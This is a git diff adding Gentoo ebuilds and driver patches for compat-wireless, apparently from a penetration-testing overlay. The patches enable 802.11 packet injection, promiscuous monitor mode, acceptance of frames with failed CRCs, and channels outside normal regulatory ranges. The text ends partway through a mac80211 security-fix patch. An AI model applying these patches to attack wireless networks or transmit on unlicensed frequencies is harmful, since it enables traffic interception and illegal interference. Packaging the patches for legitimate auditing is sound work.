+		sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+	#enable alx atheros ethernet driver
+	sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver"
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.6_rc7.ebuild b/net-wireless/compat-wireless/compat-wireless-3.6_rc7.ebuild
new file mode 100644
index 00000000..238436dc
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.6_rc7.ebuild
@@ -0,0 +1,179 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1-snpc"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="+alx ath9k_htc atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	use pax_kernel && epatch "${FILESDIR}"/${PN}-3.6-zc-grsec.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+	#enable alx atheros ethernet driver
+	if use alx; then
+		sed -i 's/ALX=n/ALX=m/' "${S}"/config.mk || die "Failed to enable Atheros ALX driver"
+	else
+		sed -i 's/ALX=m/ALX=n/' "${S}"/config.mk || die "Failed to disable Atheros ALX driver"
+	fi
+
+	if use ath9k_htc; then
+		sed -i 's/ATH9K_HTC=n/ATH9K_HTC=m/' "${S}"/config.mk || die "Failed to enable Atheros 9k htc driver"
+	else
+		sed -i 's/ATH9K_HTC=m/ATH9K_HTC=n/' "${S}"/config.mk || die "Failed to disable Atheros 9k htc driver"
+	fi
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/files/0001-ath5k-retain-promiscuous-setting.patch b/net-wireless/compat-wireless/files/0001-ath5k-retain-promiscuous-setting.patch
new file mode 100644
index 00000000..62d496a7
--- /dev/null
+++ b/net-wireless/compat-wireless/files/0001-ath5k-retain-promiscuous-setting.patch
@@ -0,0 +1,48 @@
+From befe47a84a22312e0547d04cd3d250b0e49ecf54 Mon Sep 17 00:00:00 2001
+From: Bob Copeland <me@bobcopeland.com>
+Date: Thu, 27 May 2010 08:54:38 -0400
+Subject: [PATCH] ath5k: retain promiscuous setting
+
+Commit 56d1de0a21db28e41741cfa0a66e18bc8d920554, "ath5k: clean up
+filter flags setting" introduced a regression in monitor mode such
+that the promisc filter flag would get lost.
+
+Although we set the promisc flag when it changed, we did not
+preserve it across subsequent calls to configure_filter.  This patch
+restores the original functionality.
+
+Cc: stable@kernel.org
+Signed-off-by: Bob Copeland <me@bobcopeland.com>
+---
+
+Note, a better fix would be to just unconditionally look at new_flags,
+but this is the minimal change for stable.  I'll add fixing all this
+stuff up to my todo.
+
+ drivers/net/wireless/ath/ath5k/base.c |    4 +++-
+ 1 files changed, 3 insertions(+), 1 deletions(-)
+
+diff --git a/drivers/net/wireless/ath/ath5k/base.c b/drivers/net/wireless/ath/ath5k/base.c
+index 9c27623..9e023b8 100644
+--- a/drivers/net/wireless/ath/ath5k/base.c
++++ b/drivers/net/wireless/ath/ath5k/base.c
+@@ -3153,13 +3153,15 @@ static void ath5k_configure_filter(struct ieee80211_hw *hw,
+ 
+ 	if (changed_flags & (FIF_PROMISC_IN_BSS | FIF_OTHER_BSS)) {
+ 		if (*new_flags & FIF_PROMISC_IN_BSS) {
+-			rfilt |= AR5K_RX_FILTER_PROM;
+ 			__set_bit(ATH_STAT_PROMISC, sc->status);
+ 		} else {
+ 			__clear_bit(ATH_STAT_PROMISC, sc->status);
+ 		}
+ 	}
+ 
++	if (test_bit(ATH_STAT_PROMISC, sc->status))
++		rfilt |= AR5K_RX_FILTER_PROM;
++
+ 	/* Note, AR5K_RX_FILTER_MCAST is already enabled */
+ 	if (*new_flags & FIF_ALLMULTI) {
+ 		mfilt[0] =  ~0;
+-- 
+1.6.3.3
+
diff --git a/net-wireless/compat-wireless/files/4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch b/net-wireless/compat-wireless/files/4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch
new file mode 100644
index 00000000..58bf3323
--- /dev/null
+++ b/net-wireless/compat-wireless/files/4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch
@@ -0,0 +1,27 @@
+diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c
+index 0855cac..221bed6 100644
+--- a/net/mac80211/tx.c
++++ b/net/mac80211/tx.c
+@@ -611,11 +611,19 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx)
+ 
+ 	/*
+ 	 * Packet injection may want to control the sequence
+-	 * number, if we have no matching interface then we
+-	 * neither assign one ourselves nor ask the driver to.
++	 * number, so if an injected packet is found, skip
++	 * renumbering it. Also make the packet NO_ACK to avoid
++	 * excessive retries (ACKing and retrying should be
++	 * handled by the injecting application).
++	 * FIXME This may break hostapd and some other injectors.
++	 * This should be done using a radiotap flag.
+ 	 */
+-	if (unlikely(!info->control.vif))
++	if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) &&
++	   !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) {
++		if (!ieee80211_has_morefrags(hdr->frame_control))
++			info->flags |= IEEE80211_TX_CTL_NO_ACK;
+ 		return TX_CONTINUE;
++	}
+ 
+ 	if (unlikely(ieee80211_is_ctl(hdr->frame_control)))
+ 		return TX_CONTINUE;
diff --git a/net-wireless/compat-wireless/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch b/net-wireless/compat-wireless/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
new file mode 100644
index 00000000..a2b080f5
--- /dev/null
+++ b/net-wireless/compat-wireless/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
@@ -0,0 +1,17 @@
+ tx.c |    3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c
+index b47435d..751934b 100644
+--- a/net/mac80211/tx.c
++++ b/net/mac80211/tx.c
+@@ -539,7 +539,8 @@ ieee80211_tx_h_rate_ctrl(struct ieee80211_tx_data *tx)
+ 	if (tx->sta)
+ 		tx->sta->last_tx_rate = txrc.reported_rate;
+ 
+-	if (unlikely(!info->control.rates[0].count))
++	if (unlikely(!info->control.rates[0].count) ||
++	    info->flags & IEEE80211_TX_CTL_NO_ACK)
+ 		info->control.rates[0].count = 1;
+ 
+ 	if (is_multicast_ether_addr(hdr->addr1)) {
diff --git a/net-wireless/compat-wireless/files/4004_zd1211rw-2.6.28.patch b/net-wireless/compat-wireless/files/4004_zd1211rw-2.6.28.patch
new file mode 100644
index 00000000..c0697dee
--- /dev/null
+++ b/net-wireless/compat-wireless/files/4004_zd1211rw-2.6.28.patch
@@ -0,0 +1,37 @@
+diff -Naur linux-2.6.28-pentoo-r1-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.28-pentoo-r1-improved/drivers/net/wireless/zd1211rw/zd_mac.c
+--- linux-2.6.28-pentoo-r1-orig/drivers/net/wireless/zd1211rw/zd_mac.c	2009-01-18 17:49:00.000000000 -0500
++++ linux-2.6.28-pentoo-r1-improved/drivers/net/wireless/zd1211rw/zd_mac.c	2009-01-18 18:46:44.000000000 -0500
+@@ -191,14 +191,19 @@
+ static int set_rx_filter(struct zd_mac *mac)
+ {
+ 	unsigned long flags;
+-	u32 filter = STA_RX_FILTER;
++	struct zd_ioreq32 ioreqs[] = {
++		{CR_RX_FILTER, STA_RX_FILTER},
++		{ CR_SNIFFER_ON, 0U },
++	};
+ 
+ 	spin_lock_irqsave(&mac->lock, flags);
+-	if (mac->pass_ctrl)
+-		filter |= RX_FILTER_CTRL;
++	if (mac->pass_ctrl) {
++		ioreqs[0].value |= 0xFFFFFFFF;
++		ioreqs[1].value = 0x1;
++	}
+ 	spin_unlock_irqrestore(&mac->lock, flags);
+ 
+-	return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter);
++	return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs));
+ }
+ 
+ static int set_mc_hash(struct zd_mac *mac)
+@@ -657,7 +662,8 @@
+ 	/* Caller has to ensure that length >= sizeof(struct rx_status). */
+ 	status = (struct rx_status *)
+ 		(buffer + (length - sizeof(struct rx_status)));
+-	if (status->frame_status & ZD_RX_ERROR) {
++	if ((status->frame_status & ZD_RX_ERROR) || 
++		(status->frame_status & ~0x21)) {
+ 		if (mac->pass_failed_fcs &&
+ 				(status->frame_status & ZD_RX_CRC32_ERROR)) {
+ 			stats.flag |= RX_FLAG_FAILED_FCS_CRC;
diff --git a/net-wireless/compat-wireless/files/4005_ath5k-frequency-expansion-2.6.30.patch b/net-wireless/compat-wireless/files/4005_ath5k-frequency-expansion-2.6.30.patch
new file mode 100644
index 00000000..775fe656
--- /dev/null
+++ b/net-wireless/compat-wireless/files/4005_ath5k-frequency-expansion-2.6.30.patch
@@ -0,0 +1,132 @@
+diff -ru ./compat-wireless-2009-06-11clean/drivers/net/wireless/ath/ath5k/base.c ./compat-wireless-2009-06-11/drivers/net/wireless/ath/ath5k/base.c
+--- ./compat-wireless-2009-06-11clean/drivers/net/wireless/ath/ath5k/base.c	2009-06-10 16:58:40.000000000 -0700
++++ ./compat-wireless-2009-06-11/drivers/net/wireless/ath/ath5k/base.c	2009-06-11 17:18:19.000000000 -0700
+@@ -276,7 +276,7 @@
+ static void 	ath5k_detach(struct pci_dev *pdev,
+ 			struct ieee80211_hw *hw);
+ /* Channel/mode setup */
+-static inline short ath5k_ieee2mhz(short chan);
++static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq);
+ static unsigned int ath5k_copy_channels(struct ath5k_hw *ah,
+ 				struct ieee80211_channel *channels,
+ 				unsigned int mode,
+@@ -875,12 +875,15 @@
+  * Convert IEEE channel number to MHz frequency.
+  */
+ static inline short
+-ath5k_ieee2mhz(short chan)
++ath5k_ieee2mhz(int chan, unsigned int chfreq)
+ {
+-	if (chan <= 14 || chan >= 27)
+-		return ieee80211chan2mhz(chan);
++	if (chan == CHANNEL_5GHZ)
++		return (chan + 1000) * 5;
+ 	else
+-		return 2212 + chan * 20;
++		if (chan <= 14 || chan >= 27)
++			return ieee80211chan2mhz(chan);
++		else
++			return 2212 + chan * 20;
+ }
+ 
+ /*
+@@ -903,7 +906,8 @@
+ 		unsigned int mode,
+ 		unsigned int max)
+ {
+-	unsigned int i, count, size, chfreq, freq, ch;
++	unsigned int i, count, size, chfreq, freq;
++		int ch;
+ 
+ 	if (!test_bit(mode, ah->ah_modes))
+ 		return 0;
+@@ -912,13 +916,15 @@
+ 	case AR5K_MODE_11A:
+ 	case AR5K_MODE_11A_TURBO:
+ 		/* 1..220, but 2GHz frequencies are filtered by check_channel */
+-		size = 220 ;
++		size = 241 ;
++		ch = -40;
+ 		chfreq = CHANNEL_5GHZ;
+ 		break;
+ 	case AR5K_MODE_11B:
+ 	case AR5K_MODE_11G:
+ 	case AR5K_MODE_11G_TURBO:
+-		size = 26;
++		size = 70;
++		ch = -43;
+ 		chfreq = CHANNEL_2GHZ;
+ 		break;
+ 	default:
+@@ -926,9 +932,8 @@
+ 		return 0;
+ 	}
+ 
+-	for (i = 0, count = 0; i < size && max > 0; i++) {
+-		ch = i + 1 ;
+-		freq = ath5k_ieee2mhz(ch);
++	for (i = 0, count = 0; i < size && max > 0; i++,ch++) {
++		freq = ath5k_ieee2mhz(ch,chfreq);
+ 
+ 		/* Check if channel is supported by the chipset */
+ 		if (!ath5k_channel_ok(ah, freq, chfreq))
+@@ -1244,7 +1249,9 @@
+ 
+ 	rate = ieee80211_get_tx_rate(sc->hw, info);
+ 
+-	if (info->flags & IEEE80211_TX_CTL_NO_ACK)
++	if (info->flags & IEEE80211_TX_CTL_NO_ACK ||
++	   (info->flags & IEEE80211_TX_CTL_INJECTED &&
++	   !(ieee80211_has_morefrags(((struct ieee80211_hdr *)skb->data)->frame_control))))
+ 		flags |= AR5K_TXDESC_NOACK;
+ 
+ 	rc_flags = info->control.rates[0].flags;
+diff -ru ./compat-wireless-2009-06-11clean/drivers/net/wireless/ath/ath5k/base.h ./compat-wireless-2009-06-11/drivers/net/wireless/ath/ath5k/base.h
+--- ./compat-wireless-2009-06-11clean/drivers/net/wireless/ath/ath5k/base.h	2009-06-10 16:58:50.000000000 -0700
++++ ./compat-wireless-2009-06-11/drivers/net/wireless/ath/ath5k/base.h	2009-06-11 17:21:55.000000000 -0700
+@@ -107,9 +107,9 @@
+ };
+ 
+ #if CHAN_DEBUG
+-#define ATH_CHAN_MAX	(26+26+26+200+200)
++#define ATH_CHAN_MAX	(70+70+70+240+240)
+ #else
+-#define ATH_CHAN_MAX	(14+14+14+252+20)
++#define ATH_CHAN_MAX	(70+70+70+240+240)
+ #endif
+ 
+ /* Software Carrier, keeps track of the driver state
+diff -ru ./compat-wireless-2009-06-11clean/drivers/net/wireless/ath/ath5k/caps.c ./compat-wireless-2009-06-11/drivers/net/wireless/ath/ath5k/caps.c
+--- ./compat-wireless-2009-06-11clean/drivers/net/wireless/ath/ath5k/caps.c	2009-06-10 16:58:40.000000000 -0700
++++ ./compat-wireless-2009-06-11/drivers/net/wireless/ath/ath5k/caps.c	2009-06-11 17:24:22.000000000 -0700
+@@ -69,8 +69,8 @@
+ 
+ 		if (AR5K_EEPROM_HDR_11A(ee_header)) {
+ 			/* 4920 */
+-			ah->ah_capabilities.cap_range.range_5ghz_min = 5005;
+-			ah->ah_capabilities.cap_range.range_5ghz_max = 6100;
++			ah->ah_capabilities.cap_range.range_5ghz_min = 4800;
++			ah->ah_capabilities.cap_range.range_5ghz_max = 6000;
+ 
+ 			/* Set supported modes */
+ 			__set_bit(AR5K_MODE_11A,
+@@ -88,7 +88,7 @@
+ 		    (AR5K_EEPROM_HDR_11G(ee_header) &&
+ 		     ah->ah_version != AR5K_AR5211)) {
+ 			/* 2312 */
+-			ah->ah_capabilities.cap_range.range_2ghz_min = 2412;
++			ah->ah_capabilities.cap_range.range_2ghz_min = 2192;
+ 			ah->ah_capabilities.cap_range.range_2ghz_max = 2732;
+ 
+ 			if (AR5K_EEPROM_HDR_11B(ee_header))
+diff -ru ./compat-wireless-2009-06-11clean/net/mac80211/tx.c ./compat-wireless-2009-06-11/net/mac80211/tx.c
+--- ./compat-wireless-2009-06-11clean/net/mac80211/tx.c	2009-06-10 16:58:40.000000000 -0700
++++ ./compat-wireless-2009-06-11/net/mac80211/tx.c	2009-06-11 18:18:20.000000000 -0700
+@@ -1387,6 +1387,7 @@
+ {
+ 	struct ieee80211_master_priv *mpriv = netdev_priv(dev);
+ 	struct ieee80211_local *local = mpriv->local;
++	struct ieee80211_channel *chan = local->hw.conf.channel;
+ 	struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb);
+ 	struct ieee80211_hdr *hdr = (struct ieee80211_hdr *) skb->data;
+ 	struct net_device *odev = NULL;
diff --git a/net-wireless/compat-wireless/files/4007_ath5k-pass-failed-crc.patch b/net-wireless/compat-wireless/files/4007_ath5k-pass-failed-crc.patch
new file mode 100644
index 00000000..33075a35
--- /dev/null
+++ b/net-wireless/compat-wireless/files/4007_ath5k-pass-failed-crc.patch
@@ -0,0 +1,15 @@
+diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c
+--- linux-2.6.28/drivers/net/wireless/ath5k/base.c	2008-12-24 18:26:37.000000000 -0500
++++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c	2009-02-06 21:38:43.000000000 -0500
+@@ -1732,6 +1738,11 @@
+ 				goto accept;
+ 			}
+ 
++			/* Allow CRC errors through */
++			if (rs.rs_status & AR5K_RXERR_CRC) {
++				goto accept;
++			}
++
+ 			/* let crypto-error packets fall through in MNTR */
+ 			if ((rs.rs_status &
+ 				~(AR5K_RXERR_DECRYPT|AR5K_RXERR_MIC)) ||
diff --git a/net-wireless/compat-wireless/files/4012_openwrt-b43-disable_qos_when_openfw.patch b/net-wireless/compat-wireless/files/4012_openwrt-b43-disable_qos_when_openfw.patch
new file mode 100644
index 00000000..219e5c58
--- /dev/null
+++ b/net-wireless/compat-wireless/files/4012_openwrt-b43-disable_qos_when_openfw.patch
@@ -0,0 +1,12 @@
+diff -Naur linux-2.6.28-pentoo-r4/drivers/net/wireless/b43/main.c linux-2.6.28-pentoo-r4-patched/drivers/net/wireless/b43/main.c
+--- linux-2.6.28-pentoo-r4/drivers/net/wireless/b43/main.c	2008-12-24 18:26:37.000000000 -0500
++++ linux-2.6.28-pentoo-r4-patched/drivers/net/wireless/b43/main.c	2009-04-08 00:03:57.000000000 -0400
+@@ -2299,6 +2299,8 @@
+ 		b43info(dev->wl, "Loading OpenSource firmware version %u.%u%s\n",
+ 			dev->fw.rev, dev->fw.patch,
+ 			dev->fw.pcm_request_failed ? " (Hardware crypto not supported)" : "");
++		/* The OpenSource firmware does not support qos for now. */
++		b43_modparam_qos = 0;
+ 	} else {
+ 		b43info(dev->wl, "Loading firmware version %u.%u "
+ 			"(20%.2i-%.2i-%.2i %.2i:%.2i:%.2i)\n",
diff --git a/net-wireless/compat-wireless/files/4013-runtime-enable-disable-of-mac80211-packet-injection.patch b/net-wireless/compat-wireless/files/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
new file mode 100644
index 00000000..82d9a4c2
--- /dev/null
+++ b/net-wireless/compat-wireless/files/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
@@ -0,0 +1,37 @@
+--- net/mac80211/tx.c	2009-11-29 14:59:53.474095955 +0100
++++ net/mac80211/tx.c	2009-11-29 15:03:06.436871431 +0100
+@@ -670,6 +670,10 @@
+ 	return TX_CONTINUE;
+ }
+ 
++static int ieee80211_injection_patch = 1;
++module_param(ieee80211_injection_patch, int, 0644);
++MODULE_PARM_DESC(ieee80211_injection_patch, "Enable packet injection patch");
++
+ static ieee80211_tx_result debug_noinline
+ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx)
+ {
+@@ -686,14 +690,20 @@
+ 	 * excessive retries (ACKing and retrying should be
+ 	 * handled by the injecting application).
+ 	 * FIXME This may break hostapd and some other injectors.
+-	 * This should be done using a radiotap flag.
++	 * This should be done using a radiotap flag. For the time being, this
++	 * may be enabled/disabled in
++	 * /sys/module/mac80211/parameters/ieee80211_injection_patch
+ 	 */
+-	if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) &&
+-	   !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) {
++       if (unlikely(ieee80211_injection_patch &&
++          (info->flags & IEEE80211_TX_CTL_INJECTED) &&
++		!(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) {
+ 		if (!ieee80211_has_morefrags(hdr->frame_control))
+ 			info->flags |= IEEE80211_TX_CTL_NO_ACK;
+ 		return TX_CONTINUE;
+ 	}
++        if (unlikely(!ieee80211_injection_patch &&
++           info->control.vif->type == NL80211_IFTYPE_MONITOR))
++                return TX_CONTINUE;
+ 
+ 	if (unlikely(ieee80211_is_ctl(hdr->frame_control)))
+ 		return TX_CONTINUE;
diff --git a/net-wireless/compat-wireless/files/4099-2.6.32-rc7-mac80211-security-fixes.patch b/net-wireless/compat-wireless/files/4099-2.6.32-rc7-mac80211-security-fixes.patch
new file mode 100644
index 00000000..754e1c28
--- /dev/null
+++ b/net-wireless/compat-wireless/files/4099-2.6.32-rc7-mac80211-security-fixes.patch
@@ -0,0 +1,159 @@
+Johannes Berg (2):
+      mac80211: fix two remote exploits
+      mac80211: fix spurious delBA handling
+
+ drivers/net/wireless/iwlwifi/iwl-tx.c |   10 +++++++++-
+ include/net/mac80211.h                |    6 ++++++
+ net/mac80211/agg-rx.c                 |    4 ----
+ net/mac80211/agg-tx.c                 |   17 ++++++++---------
+ net/mac80211/ht.c                     |    8 +++-----
+ net/mac80211/ieee80211_i.h            |    2 ++
+ 6 files changed, 28 insertions(+), 19 deletions(-)
+
+diff --git a/drivers/net/wireless/iwlwifi/iwl-tx.c b/drivers/net/wireless/iwlwifi/iwl-tx.c
+index fb9bcfa..b7e196e 100644
+--- a/drivers/net/wireless/iwlwifi/iwl-tx.c
++++ b/drivers/net/wireless/iwlwifi/iwl-tx.c
